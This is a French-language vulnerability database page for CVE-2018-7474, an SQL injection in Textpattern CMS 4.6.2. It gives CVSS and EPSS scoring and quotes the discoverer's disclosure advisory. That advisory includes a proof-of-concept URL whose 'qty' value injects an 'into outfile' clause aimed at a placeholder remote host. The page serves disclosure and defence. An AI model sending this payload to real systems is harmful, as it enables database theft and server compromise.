CVE-2018-7474 : Détail

CVE-2018-7474

9.8
/
Critique
SQL Injection
A03-Injection
0.88%V3
Network
2018-03-14
13h00 +00:00
2018-03-15
08h57 +00:00
CVE.org
NVD
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Descriptions du CVE

An issue was discovered in Textpattern CMS 4.6.2 and earlier. It is possible to inject SQL code in the variable "qty" on the page index.php.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 44277

Date de publication : 2018-03-11 23h00 +00:00
Auteur : Manuel García Cárdenas
EDB Vérifié : No

============================================= MGC ALERT 2018-002 - Original release date: February 12, 2018 - Last revised: March 12, 2018 - Discovered by: Manuel García Cárdenas - Severity: 7,1/10 (CVSS Base Score) - CVE-ID: CVE-2018-7474 ============================================= I. VULNERABILITY ------------------------- SQL Injection in Textpattern <= 4.6.2 II. BACKGROUND ------------------------- Textpattern is a free and open-source content management system (CMS) based on PHP and MySQL, originally developed by Dean Allen and now developed by Team Textpattern. III. DESCRIPTION ------------------------- This bug was found using the portal with authentication as administrator. To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application. It is possible to inject SQL code in the variable "qty" on the page "index.php". IV. PROOF OF CONCEPT ------------------------- The following URL's and parameters have been confirmed to all suffer from SQL injection. /textpattern/textpattern/index.php?event=link&step=link_change_pageby&qty=50&_txp_token=baa07ba857d3618ef810b725b9d4d9d8 Note: the variable "_txp_token" doest not work as a anti-csrf. POC: /textpattern/textpattern/index.php?event=link&step=link_change_pageby&qty=50%20into%20outfile%20'% 5cfakesite.com%5c'%3b%20--%20&_txp_token=baa07ba857d3618ef810b725b9d4d9d8 V. BUSINESS IMPACT ------------------------- Public defacement, confidential data leakage, and database server compromise can result from these attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible. VI. SYSTEMS AFFECTED ------------------------- Textpattern <= 4.6.2 VII. SOLUTION ------------------------- Disable website until a fix is available. VIII. REFERENCES ------------------------- https://textpattern.com/ IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Manuel García Cárdenas (advidsec (at) gmail (dot) com). X. REVISION HISTORY ------------------------- February 12, 2018 1: Initial release March 12, 2018 2: Revision to send to lists XI. DISCLOSURE TIMELINE ------------------------- February 12, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas February 12, 2018 2: Send to vendor without response February 26, 2018 3: Second email to vendor without response March 12, 2018 4: Send to the Full-Disclosure lists XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. XIII. ABOUT ------------------------- Manuel Garcia Cardenas Pentester

Products Mentioned

Configuraton 0

Textpattern>>Textpattern >> Version To (including) 4.6.2

Références

http://seclists.org/fulldisclosure/2018/Mar/34
Tags : mailing-list, x_refsource_FULLDISC
https://www.exploit-db.com/exploits/44277/
Tags : exploit, x_refsource_EXPLOIT-DB